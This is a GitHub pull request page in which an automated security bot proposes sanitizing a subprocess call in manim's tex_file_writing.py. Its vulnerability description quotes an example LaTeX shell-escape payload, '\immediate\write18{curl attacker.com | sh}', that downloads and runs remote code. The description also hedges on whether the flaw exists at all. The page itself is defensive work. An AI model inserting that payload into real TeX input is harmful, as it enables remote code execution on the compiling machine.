fix: sanitize subprocess call in tex_file_writing.py#2461
Open
orbisai0security wants to merge 1 commit into3b1b:masterfrom
Open
fix: sanitize subprocess call in tex_file_writing.py#2461orbisai0security wants to merge 1 commit into3b1b:masterfrom
orbisai0security wants to merge 1 commit into3b1b:masterfrom
Conversation
Automated security fix generated by Orbis Security AI
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
Summary
Fix critical severity security issue in
manimlib/utils/tex_file_writing.py.Vulnerability
V-002manimlib/utils/tex_file_writing.py:108Description: tex_file_writing.py invokes subprocess.run at lines 108 and 133 to compile LaTeX files. The LaTeX source content is derived from user-supplied TeX expressions in scene scripts. If the subprocess call uses shell=True or constructs the command via string concatenation, an attacker can embed shell metacharacters or LaTeX \write18 directives (e.g., \immediate\write18{curl attacker.com | sh}) to execute arbitrary commands during compilation. This is a dual-vector vulnerability: both the subprocess invocation itself and the LaTeX compiler's shell-escape feature are potential injection points.
Changes
manimlib/utils/tex_file_writing.pypyproject.tomlVerification
Automated security fix by OrbisAI Security